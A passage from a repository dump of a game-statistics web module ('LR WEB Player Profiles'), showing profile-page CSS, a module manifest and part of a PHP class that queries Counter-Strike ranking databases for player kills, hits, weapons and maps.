z-index: 102; bottom: 12vw; left: 4.22vw; } .hit_chest { position: absolute; height: 4vw; width: 4.5vw; bottom: 9.3vw; left: 3vw; z-index: 101; } .hit_belly { position: absolute; height: 2.8vw; width: 4.7vw; bottom: 7.5vw; left: 3vw; z-index: 101; } .hit_left_arm { position: absolute; height: 8vw; width: 2.5vw; bottom: 8.9vw; left: 1.1vw; z-index: 101; } .hit_right_arm { position: absolute; height: 7.6vw; width: 1.9vw; bottom: 4.8vw; left: 7vw; z-index: 104; } .hit_left_leg { position: absolute; height: 8vw; width: 3vw; bottom: 0; left: 3vw; z-index: 101; } .hit_right_leg { position: absolute; height: 8vw; width: 3.5vw; bottom: 0; left: 5.40vw; z-index: 101; } .unusualkills_block { overflow: hidden; padding-top: 6px; padding-left: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .unusualkills_text { position: absolute; overflow-wrap: break-word; bottom: 7px; left: 14px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 72%; font-weight: var(--font-weight-1); color: var(--default-text-color); } .unusualkills_score { position: absolute; top: 9px; left: 17px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 192%; font-weight: var(--font-weight-3); color: var(--span-color); } .unusualkills_block_left { overflow: hidden; padding-top: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .icon_block { position: absolute; right: 5px; top: 15px; } .unusualkills_block i, .unusualkills_block_left i { opacity: 0.3; font-size: 2em; text-align: center; color: var(--span-color); } .right-block .top { width: 100%; } .right-block .top .table thead th { padding-top: 18px; font-size: 13px; font-weight: var(--font-weight-1); color: var(--default-text-color); border-bottom: 2px solid var(--table-line); } .right-block .top .table tbody th { color: var(--default-text-color); font-size: 12px; font-weight: var(--font-weight-1); padding: .7em; border-bottom: none; border-top: 1px solid var(--hover); } } @media (min-width: 1500px) { .left-block { position: relative; margin-top: 1rem; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 40%; flex: 0 0 40%; max-width: 40%; } .middle-block { position: relative; margin-top: 1rem; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 32%; flex: 0 0 32%; max-width: 32%; } .right-block { position: relative; margin-top: 1rem; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 28%; flex: 0 0 28%; max-width: 28%; } .profile__block { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .user-block { height: 20vw; position: relative; width: 100%; -ms-flex: 0 0 38%; flex: 0 0 38%; max-width: 38%; } .block { border: 0px solid transparent; border-radius: 4px; text-align: center; height: 100%; width: 100%; overflow: hidden; } .user-block .block, .best-weapon-block .block, .best-maps .block, .top .block, .unusualkills_block .block, .unusualkills_block_left .block { background-color: var(--sidebar-color); } .best-weapon-block { max-height: 20vw; position: relative; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 62%; flex: 0 0 62%; max-width: 62%; } .user-block .avatar { margin-top: 18px; height: 110px; width: 110px; border-radius: 50%; border: 3px solid #fff; } .user-block .name { margin-top: 10px; font-size: 1vw; font-weight: var(--font-weight-1); color: var(--span-color); } .user-block .steam_status { text-align: center; margin-left: auto; margin-right: auto; height: 10px; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; width: 70px; } .user-block .steam_status i{ font-size: 22px; color: var(--span-color); } .user-block .steam_status .check_ban { width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .user-block .steam_status .check_ban a, .user-block .steam_status .check_ban i{ display: block; margin-left: auto; margin-right: auto } .user-block .country { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .user-block .rank-img { margin-top: 10px; max-height: 28px; } .user-block .rank { margin-top: 10px; font-size: 80%; font-weight: var(--font-weight-0); margin-bottom: 30px } .user-block .user-stats { position: absolute; bottom: 0; left: 0; width: 100%; height: 40px; background-color: var(--span-color); text-align: center; padding-top: 7px; color: #ffffff; font-size: 17px; font-weight: var(--font-weight-3); border: 0px solid transparent; border-radius: 4px; } .best-weapon-block .weapons { padding-top: 18px; text-align: center; height: 26%; } .best-weapon-block .weapons .kills { margin-top: 5px; text-align: center; font-size: 15px; font-weight: var(--font-weight-3); } .best-weapon-block .weapons li { display: inline-block; padding-left: 3%; padding-right: 3%; } .best-weapon-block .weapons svg, .best-weapon-block .weapons img { width: 4.4vw; max-height: 1.8vw; filter: invert(var(--svg)); } .best-weapon-block .weapon-table { height: 74%; overflow: auto; } .best-weapon-block .weapon-table svg, .best-weapon-block .weapon-table img { filter: invert(var(--svg)); } .short-stats-block { margin-top: 6px; height: 100%; width: 100%; padding: 18px; background-color: var(--sidebar-color); text-align: center; border: 0px solid transparent; border-radius: 4px; } .short-stats-block .left-stats-block { float: left; width: 50%; } .short-stats-block .right-stats-block { margin-left: 50%; width: 50%; } .short-stats-block ul { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .short-stats-block li { padding-bottom: 5px; } .short-stats-block .left-stats-block ul { text-align: left; } .short-stats-block .right-stats-block ul { text-align: right; } .skull-block { margin-top: 5%; width: 100%; font-size: 14px; font-weight: var(--font-weight-0); } .skull-block .info { font-size: 12px; color: var(--default-text-color); font-weight: var(--font-weight-1); } .skull-block .left-skull-block { float: left; width: 27%; text-align: center } .skull-block .center-skull-block { display: inline-block; width: 39%; text-align: center } .skull-block .right-skull-block { float: right; width: 34%; text-align: center } .skull-block .left-skull-block .skull { display: inline-block; width: 58px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .center-skull-block .skull { display: inline-block; width: 77px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .skull-block .right-skull-block .skull { display: inline-block; width: 96px; background-color: var(--span-color); -webkit-mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); mask-image: url(/../storage/cache/img/icons/custom/global/skull.svg); background-repeat: space; height: 24px; } .middle-block .best-maps { height: 20vw; position: relative; width: 100%; -ms-flex: 0 0 60%; flex: 0 0 60%; max-width: 60%; } .middle-block .best-maps .map-top { position: relative; height: 31%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .middle-block .best-maps .map-bottom { position: relative; overflow: auto; height: 69%; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .map_block { position: relative; width: 100%; height: 100%; margin-top: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .map_block_right { position: relative; width: 100%; height: 100%; margin-top: 6px; padding-left: 6px; -ms-flex: 0 0 50%; flex: 0 0 50%; max-width: 50%; } .middle-block .best-maps .map_block img, .middle-block .best-maps .map_block_right img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top img { object-fit: cover; width: 100%; height: 100%; border-radius: 4px; } .middle-block .best-maps .map-top .map-lower { position: absolute; max-width: 100%; margin-top: -33px; } .middle-block .best-maps .map-bottom .map-lower { } .middle-block .map-title-rounds .icon { margin-right: 0px; } .middle-block .map-title-rounds .icon img { filter: invert(var(--svg)); margin-bottom: 4px; width: 10px; } .middle-block .best-maps .map-top .map-one { position: absolute; height: 28px; width: 25px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(0, 0, 0, 0.75); padding-top: 1px; left: 7px; } .middle-block .best-maps .map-top .map-pretty-name { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: black; background-color: rgba(255, 255, 255, 0.75); padding-top: 1px; padding-left: 10px; padding-right: 10px; left: 33px; } .middle-block .best-maps .map-top .map-title-rounds { position: absolute; height: 28px; text-align: center; vertical-align: center; font-weight: 700; font-size: 18px; color: white; background-color: rgba(241, 122, 38, 0.85); padding-top: 1px; padding-left: 10px; padding-right: 10px; right: 7px; } .middle-block .hitstats-block { height: 20vw; position: relative; overflow: hidden; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 40%; flex: 0 0 40%; max-width: 40%; } .tooltip-top { position: absolute; width: 100%; height: 100%; } .back { width: 100%; height: 100%; border: 0px solid transparent; background-size: cover; border-radius: 4px; } .hit_player { position: absolute; } .hit_head { position: absolute; height: 3.4vw; width: 3.16vw; z-index: 103; bottom: 11.8vw; left: 4.3vw; } .hit_neak { position: absolute; height: 1.26vw; width: 2.68vw; bottom: 11.7vw; left: 4.2vw; z-index: 103; } .hit_chest { position: absolute; height: 3.9vw; width: 4.9vw; bottom: 9.1vw; left: 3vw; z-index: 101; } .hit_belly { position: absolute; height: 2.6vw; width: 4.9vw; bottom: 7.5vw; left: 2.9vw; z-index: 102; } .hit_left_arm { position: absolute; height: 8vw; width: 2.65vw; bottom: 8.4vw; left: 0.96vw; z-index: 101; } .hit_right_arm { position: absolute; height: 8.3vw; width: 2vw; bottom: 4.3vw; left: 7vw; z-index: 102; } .hit_left_leg { position: absolute; height: 8vw; width: 3vw; bottom: 0; left: 3vw; z-index: 101; } .hit_right_leg { position: absolute; height: 8vw; width: 3.5vw; bottom: 0; left: 5.40vw; z-index: 101; } .unusualkills_block { overflow: hidden; padding-top: 6px; padding-left: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .unusualkills_text { position: absolute; overflow-wrap: break-word; bottom: 7px; left: 14px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 72%; font-weight: var(--font-weight-1); color: var(--default-text-color); } .unusualkills_score { position: absolute; top: 9px; left: 17px; width: 100%; margin-left: auto; margin-right: auto; text-align: left; font-size: 192%; font-weight: var(--font-weight-3); color: var(--span-color); } .unusualkills_block_left { overflow: hidden; padding-top: 6px; height: 90px; width: 100%; position: relative; -ms-flex: 0 0 33.33333%; flex: 0 0 33.33333%; max-width: 33.33333%; } .icon_block { position: absolute; right: 5px; top: 15px; } .unusualkills_block i, .unusualkills_block_left i { opacity: 0.3; font-size: 2em; text-align: center; color: var(--span-color); } .right-block .top { width: 100%; } .right-block .top .table thead th { padding-top: 18px; font-size: 13px; font-weight: var(--font-weight-1); color: var(--default-text-color); border-bottom: 2px solid var(--table-line); } .right-block .top .table tbody th { color: var(--default-text-color); font-size: 12px; font-weight: var(--font-weight-1); padding: .7em; border-bottom: none; border-top: 1px solid var(--hover); } } ================================================ FILE: app/modules/module_page_profiles/description.json ================================================ { "title": "LR WEB | Player Profiles [Alpha]", "info": "Adds player profiles with their statistics to the site", "author": "M0st1ce & Wend4r", "page": "profiles", "version": "0.2", "required": { "core": "0.2", "php": "5.4" }, "setting": { "status": 1, "type": 1, "available_types": 1, "translation": 1, "interface": 1, "interface_adjacent": "afternavbar", "data": 1, "css": 1 } } ================================================ FILE: app/modules/module_page_profiles/ext/Player.php ================================================ * * @link https://steamcommunity.com/profiles/76561198038416053 * @link https://github.com/M0st1ce * * @license GNU General Public License Version 3 */ namespace app\modules\module_page_profiles\ext; class Player { /** * @var string */ public $steam_32; /** * @var int */ public $steam_64; /** * @var int */ public $server_group; /** * @var array */ public $arr_default_info; /** * @var array */ public $msettings; /** * @var array */ public $weapons = ['weapon_knife' => '-','weapon_knife_m9_bayonet' => '-','weapon_knife_butterfly' => '-','weapon_knife_falchion' => '-','weapon_knife_def' => '-','weapon_knife_flip' => '-','weapon_knife_gut' => '-','weapon_knife_push' => '-','weapon_knife_t' => '-','weapon_knife_tactical' => '-']; /** * @var array */ public $unusualkills; /** * @var array */ public $top_weapons; /** * @var int */ public $top_position; /** * @var array */ public $found = []; /** * @var object */ public $Db; /** * @var array */ public $check_user = []; /** * @var array */ public $profile_status = [ 'text' => '', 'color' => '', 'priority' => 0 ]; /** * @var array */ public $hits = ['Head' => 0, 'Chest' => 0, 'Belly' => 0, 'LeftArm' => 0, 'RightArm' => 0, 'LeftLeg' => 0, 'RightLeg' => 0, 'Neak' => 0]; /** * @var array */ public $maps = ['de_mirage' => '-', 'de_dust2' => '-', 'de_cache' => '-', 'de_inferno' => '-', 'de_nuke' => '-', 'de_cbble' => '-', 'de_overpass' => '-', 'de_train' => '-']; /** * @var string */ public $geo = '-'; /** * @var int */ public $search; function __construct( $General, $Db, $Modules, $id, $sg, $search ) { // Проверка на основную константу. defined('IN_LR') != true && die(); // Работа с базой данных. $this->Db = $Db; // Работа с ядром. $this->General = $General; // Работа с модулями. $this->Modules = $Modules; // Присвоение группы серверов. $this->server_group = (int) intval ( $sg ); // Конвертация Steam ID substr( $id, 0, 5) === "STEAM" ? $this->steam_32 = $id : $this->steam_32 = con_steam64to32( $id ); // Проверка на пустоту empty( $this->steam_32 ) && get_iframe( '009', 'Данная страница не существует' ); $check_it = false; if ( ! empty( $Db->db_data['LevelsRanks'] ) ): for ( $i = 0, $c = sizeof( $Db->db_data['LevelsRanks'] ); $i < $c; $i++ ): $dates[] = $Db->db_data['LevelsRanks'][ $i ]; endfor; endif; if ( ! empty( $Db->db_data['FPS'] ) ): for ( $i = 0, $c = sizeof( $Db->db_data['FPS'] ); $i < $c; $i++ ): $dates[] = $Db->db_data['FPS'][ $i ]; endfor; endif; if ( ! empty( $Db->db_data['RankMeKento'] ) ): for ( $i = 0, $c = sizeof( $Db->db_data['RankMeKento'] ); $i < $c; $i++ ): $dates[] = $Db->db_data['RankMeKento'][ $i ]; endfor; endif; // Вводим переменную для работы с серверами FPS $f = 1; for ( $i = 0; $i < $Db->table_statistics_count; $i++ ): switch ( $dates[ $i ]['DB_mod'] ) { case 'LevelsRanks': $this->check_user[] = $Db->query( $dates[ $i ]['DB_mod'], $dates[ $i ]['USER_ID'], $dates[ $i ]['DB_num'], "SELECT `steam` FROM `" . $dates[ $i ]['Table'] . "` WHERE `steam` LIKE '%" . $this->get_steam_32_short() . "%' AND `lastconnect` > 0 limit 1" ); break; case 'FPS': $this->check_user[] = $Db->query( $dates[ $i ]['DB_mod'], 0, 0, "SELECT `fps_players`.`steam_id`, `fps_players`.`account_id` FROM `fps_players` INNER JOIN `fps_servers_stats` ON `fps_players`.`account_id` = `fps_servers_stats`.`account_id` WHERE `fps_players`.`steam_id` LIKE '%{$this->get_steam_64()}%' AND `fps_servers_stats`.`server_id` = '" . $f++ . "' AND `fps_servers_stats`.`lastconnect` > 0 LIMIT 1" ); break; case 'RankMeKento': $this->check_user[] = $Db->query( $dates[ $i ]['DB_mod'], $dates[ $i ]['USER_ID'], $dates[ $i ]['DB_num'], "SELECT `steam` FROM `" . $dates[ $i ]['Table'] . "` WHERE `steam` LIKE '%" . $this->get_steam_32_short() . "%' AND `lastconnect` > 0 limit 1" ); break; } // Поиск игрока в таблицах. if ( ! empty( $this->check_user[ $i ] ) ): $this->found[ $i ] = [ "DB_mod" => $dates[ $i ]['DB_mod'], "DB" => (int) $dates[ $i ]['DB_num'], "USER_ID" => (int) $dates[ $i ]['USER_ID'], "Table" => $dates[ $i ]['Table'], 'name_servers' => $dates[ $i ]['name'], 'mod' => (int) $dates[ $i ]['mod'], 'steam' => (int) $dates[ $i ]['steam'], 'ranks_pack' => $dates[ $i ]['ranks_pack'], 'ranks_id' => (int) empty( $dates[ $i ]['ranks_id'] ) ? 0 : $dates[ $i ]['ranks_id'], "server_group" => (int) $i, "server_int" => (int) $f-1 ]; if( $check_it == false ): $check_it = $this->found[ $i ]['server_group'] == $this->server_group ? true : false; if( ! empty( $search ) && $search == 1 ): if ( ! empty( $this->found[ $i ]['server_group'] ) ): $check_it = true; if ( empty( $_GET['server_group'] ) ): $this->server_group = $i; endif; endif; endif; endif; endif; endfor; empty( $this->found[ $this->server_group ] ) && get_iframe( '009', 'Данная страница не существует' ); $this->found_fix = array_values( $this->found ); $this->arr_default_info = $this->get_db_arr_default_info(); $this->top_position = $this->get_db_top_position(); $this->top_with_player = $this->get_db_top_with_player(); if( ! empty( $this->found[ $this->server_group ]['DB_mod'] ) && $this->found[ $this->server_group ]['DB_mod'] == 'LevelsRanks' ): # Плагин -> ExStats Weapons $Db->mysql_table_search( 'LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], $this->found[ $this->server_group ]['Table'] . '_weapons' ) == 1 && ! empty( $result = $this->get_db_exstats_weapons() ) && ( $this->weapons = $result ) && arsort( $this->weapons ); for ( $i = 0; $i < 3; $i++ ): $this->top_weapons[ $i ]['name'] = sizeof( $this->weapons ) ? array_search( max( $this->weapons ), $this->weapons ) : 'weapon_knife'; $this->top_weapons[ $i ]['kills'] = sizeof( $this->weapons ) ? max( $this->weapons ) : '-'; unset( $this->weapons[ $this->top_weapons[ $i ]['name'] ] ); endfor; # Плагин -> Unusual Kills if ( $Db->mysql_table_search( 'LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], $this->found[ $this->server_group ]['Table'] . '_unusualkills' ) == 1 ): $this->unusualkills = $this->get_db_plugin_module_unusualkills(); else: $this->unusualkills = false; endif; # Плагин -> ExStats Hits if ( $Db->mysql_table_search( 'LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], $this->found[ $this->server_group ]['Table'] . '_hits' ) == 1 ): $this->get_db_plugin_module_hits(); endif; # Плагин -> ExStats Maps if ( $Db->mysql_table_search( 'LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], $this->found[ $this->server_group ]['Table'] . '_maps' ) == 1 ): $this->maps = $this->get_db_plugin_module_maps(); arsort($this->maps); endif; # Плагин -> ExStats GeoIP if ( $Db->mysql_table_search( 'LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], $this->found[ $this->server_group ]['Table'] . '_geoip' ) == 1 ): $this->geo = $this->get_db_plugin_module_geoip(); endif; endif; if( ! empty( $this->found[ $this->server_group ]['DB_mod'] ) && $this->found[ $this->server_group ]['DB_mod'] == 'FPS' ): ! empty( $result = $this->get_db_exstats_weapons() ) && ( $this->weapons = $result ) && arsort($this->weapons); for ( $i = 0; $i < 3; $i++ ): $this->top_weapons[ $i ]['name'] = sizeof( $this->weapons ) ? array_search( max( $this->weapons ), $this->weapons ) : 'weapon_knife'; $this->top_weapons[ $i ]['kills'] = sizeof( $this->weapons ) ? max( $this->weapons ) : '-'; unset( $this->weapons[ $this->top_weapons[ $i ]['name'] ] ); endfor; $this->get_db_plugin_module_hits(); if ( $Db->mysql_table_search( 'FPS', 0, 0, 'fps_unusualkills' ) == 1 ): $this->unusualkills = $this->get_db_plugin_module_unusualkills(); else: $this->unusualkills = false; endif; if ( $Db->mysql_table_search( 'FPS', 0, 0, 'fps_maps' ) == 1 ): $this->maps = $this->get_db_maps_fps(); endif; endif; if( ! empty( $this->found[ $this->server_group ]['DB_mod'] ) && $this->found[ $this->server_group ]['DB_mod'] == 'RankMeKento' ): $this->weapons = $this->get_db_exstats_weapons(); empty( $this->weapons ) && $this->weapons = ['weapon_knife' => '-','weapon_knife_m9_bayonet' => '-','weapon_knife_butterfly' => '-','weapon_knife_falchion' => '-','weapon_knife_def' => '-','weapon_knife_flip' => '-','weapon_knife_gut' => '-','weapon_knife_push' => '-','weapon_knife_t' => '-','weapon_knife_tactical' => '-']; arsort($this->weapons); for ( $i = 0; $i < 3; $i++ ): $this->top_weapons[ $i ]['name'] = sizeof( $this->weapons ) ? array_search( max( $this->weapons ), $this->weapons ) : 'weapon_knife'; $this->top_weapons[ $i ]['kills'] = sizeof( $this->weapons ) ? max( $this->weapons ) : '-'; unset( $this->weapons[ $this->top_weapons[ $i ]['name'] ] ); endfor; $this->get_db_plugin_module_hits(); endif; $this->msettings = [ 'OP' => [ 'phrase' => '_First_round_kills', 'icon' => 'fire', ], 'Penetrated' => [ 'phrase' => '_Penetrated_kills', 'icon' => 'format-valign-top', ], 'NoScope' => [ 'phrase' => '_Killing_without_scope', 'icon' => 'circle-o', ], 'Run' => [ 'phrase' => '_Kills_on_run', 'icon' => 'run', ], 'Flash' => [ 'phrase' => '_Kills_flash', 'icon' => 'eye-off', ], 'Jump' => [ 'phrase' => '_Jump_kills', 'icon' => 'star-outline', ], 'Smoke' => [ 'phrase' => '_Smoke_kills', 'icon' => 'mood-bad', ], 'Whirl' => [ 'phrase' => '_Kills_whirl', 'icon' => 'replay', ], 'LastClip' => [ 'phrase' => '_Kills_last_shoot', 'icon' => 'repeat-one', ] ]; } public function get_value() { return (int) empty( $this->arr_default_info['value'] ) ? 0 : $this->arr_default_info['value']; } public function get_steam_32() { $type = "/([0-9a-zA-Z_]{7}):([0-9]{1}):([0-9]+)/u"; preg_match_all($type, $this->steam_32, $arr, PREG_SET_ORDER); if ( ! empty( $arr[0][1] ) && ! empty( $arr[0][3] ) ): return $arr[0][1] . ':' . $arr[0][2] . ':' . $arr[0][3]; else: return false; endif; } public function get_steam_32_short() { $type = "/[0-9a-zA-Z_]{7}:([0-9]{1}):([0-9]+)/u"; preg_match_all($type, $this->steam_32, $arr, PREG_SET_ORDER); if ( ! empty( $arr[0][2] ) ): return $arr[0][1] . ':' . $arr[0][2]; else: return false; endif; } public function get_steam_64() { return con_steam32to64( $this->get_steam_32() ); } public function get_name() { return (string) empty( $this->arr_default_info['name'] ) ? 'Unknown' : $this->arr_default_info['name']; } public function get_rank() { return (int) $this->arr_default_info['rank'] ?? 0; } public function get_lastconnect() { return (int) empty( $this->arr_default_info['lastconnect'] ) ? 0 : gmdate("d-m-Y, H:m", $this->arr_default_info['lastconnect'] ); } public function get_kills() { return (int) empty( $this->arr_default_info['kills'] ) ? 0 : $this->arr_default_info['kills']; } public function get_deaths() { return (int) empty( $this->arr_default_info['deaths'] ) ? 0 : $this->arr_default_info['deaths']; } public function get_kd() { $a = empty( $this->get_deaths() ) ? $this->get_kills() : round( $this->get_kills() / $this->get_deaths(), 2); return $a . ' ( ' . $this->get_kills() . ' / ' . $this->get_deaths() . ' )'; } public function get_shoots() { return (int) empty( $this->arr_default_info['shoots'] ) ? 0 : $this->arr_default_info['shoots']; } public function get_hits() { return (int) empty( $this->arr_default_info['hits'] ) ? 0 : $this->arr_default_info['hits']; } public function get_percent_hits() { $a = 0; ! empty( $this->get_shoots() ) && $a = (float) round( 100 * $this->get_hits() / $this->get_shoots() , 1); return $a . '% ( ' . $this->get_hits() . ' / ' . $this->get_shoots() . ' )'; } public function get_headshots() { return (int) empty( $this->arr_default_info['headshots'] ) ? 0 : $this->arr_default_info['headshots']; } public function get_percent_headshots() { $a = 0; ! empty( $this->get_kills() ) && $a = (float) round( 100 * $this->get_headshots() / $this->get_kills() , 1); return $this->get_headshots() . ' ( ' . $a . '% )'; } public function get_assists() { return (int) $this->arr_default_info['assists']; } public function get_round_win() { return (int) empty( $this->arr_default_info['round_win'] ) ? 0 : $this->arr_default_info['round_win']; } public function get_round_lose() { return (int) empty( $this->arr_default_info['round_lose'] ) ? 0 : $this->arr_default_info['round_lose']; } public function get_percent_win() { $a = 0; ! empty( $this->get_round_lose() ) && $a = (float) round( 100 * $this->get_round_win() / ( $this->get_round_win() + $this->get_round_lose() ) , 1); return $a . '% ( ' . $this->get_round_win() . ' / ' . $this->get_round_lose() . ' )'; } public function get_playtime() { return (int) empty( $this->arr_default_info['playtime'] ) ? 0 : round( $this->arr_default_info['playtime'] / 60 / 60 , 0 ); } public function get_top_position() { return (int) $this->top_position; } public function get_db_top_with_player() { if( ! empty( $this->found[ $this->server_group ]['DB_mod'] ) ): switch ( $this->found[ $this->server_group ]['DB_mod'] ) { case 'LevelsRanks': $a = array_reverse($this->Db->queryAll( 'LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'],"SELECT `name`, `rank`, `steam`, `value` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE '" . $this->get_value() . "' < `value` ORDER BY `value` ASC LIMIT 5" ) ); $size_a = sizeof( $a ); $b = array_merge( $a, $this->Db->queryAll( 'LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'],"SELECT `name`, `rank`, `steam`, `value` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE `value` <= '" . $this->get_value() . "' ORDER BY `value` DESC LIMIT 11" ) ); $b['countdown_from'] = $this->top_position - $size_a; return $b; break; case 'RankMeKento': $a = array_reverse($this->Db->queryAll( 'RankMeKento', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'],"SELECT `name`, `steam`, `score` AS `value` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE '" . $this->get_value() . "' < `score` ORDER BY `score` ASC LIMIT 5" ) ); $size_a = sizeof( $a ); $b = array_merge( $a, $this->Db->queryAll( 'RankMeKento', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'],"SELECT `name`, `steam`, `score` AS `value` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE `score` <= '" . $this->get_value() . "' ORDER BY `score` DESC LIMIT 11" ) ); $b['countdown_from'] = $this->top_position - $size_a; return $b; break; case 'FPS': $a = array_reverse($this->Db->queryAll( 'FPS', 0, 0, "SELECT `fps_players`.`nickname` AS `name`, `fps_players`.`steam_id` AS `steam`, `fps_servers_stats`.`points` AS `value`, `fps_servers_stats`.`rank` FROM `fps_players` INNER JOIN `fps_servers_stats` ON `fps_players`.`account_id` = `fps_servers_stats`.`account_id` WHERE `fps_servers_stats`.`server_id` = '{$this->found[ $this->server_group ]['server_int']}' AND `fps_servers_stats`.`points` > '{$this->get_value()}' ORDER BY `value` ASC LIMIT 5" ) ); $size_a = sizeof( $a ); $b = array_merge( $a, $this->Db->queryAll( 'FPS', 0, 0, "SELECT `fps_players`.`nickname` AS `name`, `fps_players`.`steam_id` AS `steam`, `fps_servers_stats`.`points` AS `value`, `fps_servers_stats`.`rank`` FROM `fps_players` INNER JOIN `fps_servers_stats` ON `fps_players`.`account_id` = `fps_servers_stats`.`account_id` WHERE `fps_servers_stats`.`points` <= '{$this->get_value()}' AND `fps_servers_stats`.`server_id` = '{$this->found[ $this->server_group ]['server_int']}' ORDER BY `value` DESC LIMIT 11" ) ); $b['countdown_from'] = $this->top_position - $size_a; return $b; break; } else: return []; endif; } private function get_db_arr_default_info() { if( ! empty( $this->found[ $this->server_group ]['DB_mod'] ) ): switch ( $this->found[ $this->server_group ]['DB_mod'] ) { case 'LevelsRanks': return $this->Db->query('LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], "SELECT `name`, `rank`, `steam`, `playtime`, `value`, `kills`, `headshots`, `deaths`, `round_win`, `round_lose`, `shoots`, `hits`, `lastconnect` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE `steam` LIKE '%" . $this->get_steam_32_short() . "%' LIMIT 1"); break; case 'RankMeKento': return $this->Db->query('RankMeKento', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'], "SELECT `name`, `steam`, `connected` AS `playtime`, `score` AS `value`, `kills`, `headshots`, `deaths`, `match_win` AS `round_win`, `match_lose` AS `round_lose`, `shots`, `hits`, `lastconnect` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE `steam` LIKE '%" . $this->get_steam_32_short() . "%' LIMIT 1"); break; case 'FPS': return $this->Db->query('FPS', 0, 0, "SELECT `fps_players`.`steam_id` AS `steam`, `fps_players`.`nickname` AS `name`, `fps_servers_stats`.`kills`, `fps_servers_stats`.`deaths`, `fps_servers_stats`.`playtime`, `fps_servers_stats`.`round_win`, `fps_servers_stats`.`round_lose`, `fps_servers_stats`.`points` AS `value`, `fps_servers_stats`.`lastconnect`, `fps_servers_stats`.`rank`, SUM(`fps_weapons_stats`.`shoots`) AS `shoots`, SUM(`fps_weapons_stats`.`headshots`) AS `headshots`, SUM(`fps_weapons_stats`.`hits_head` + `fps_weapons_stats`.`hits_neck` + `fps_weapons_stats`.`hits_chest` + `fps_weapons_stats`.`hits_stomach` + `fps_weapons_stats`.`hits_left_arm` + `fps_weapons_stats`.`hits_right_arm` + `fps_weapons_stats`.`hits_left_leg` + `fps_weapons_stats`.`hits_right_leg`) AS `hits` FROM `fps_players` INNER JOIN `fps_servers_stats` ON `fps_players`.`account_id` = `fps_servers_stats`.`account_id` LEFT JOIN `fps_weapons_stats` ON `fps_players`.`account_id` = `fps_weapons_stats`.`account_id` WHERE `fps_players`.`steam_id` = '{$this->get_steam_64()}' AND `fps_servers_stats`.`server_id` = '{$this->found[ $this->server_group ]['server_int']}' LIMIT 1"); break; } else: return []; endif; } private function get_db_top_position() { if( ! empty( $this->found[ $this->server_group ]['DB_mod'] ) ): switch ( $this->found[ $this->server_group ]['DB_mod'] ) { case 'LevelsRanks': return $this->Db->query( 'LevelsRanks', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'],"SELECT COUNT(1) AS `top` FROM (SELECT DISTINCT `value` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE `value` >= " . $this->get_value() . " AND `lastconnect` > 0) t;")['top']; break; case 'RankMeKento': return $this->Db->query( 'RankMeKento', $this->found[ $this->server_group ]['USER_ID'], $this->found[ $this->server_group ]['DB'],"SELECT COUNT(1) AS `top` FROM (SELECT DISTINCT `score` FROM `" . $this->found[ $this->server_group ]['Table'] . "` WHERE `score` >= " . $this->get_value() . " AND `lastconnect` > 0) t;")['top']; break; case 'FPS': return 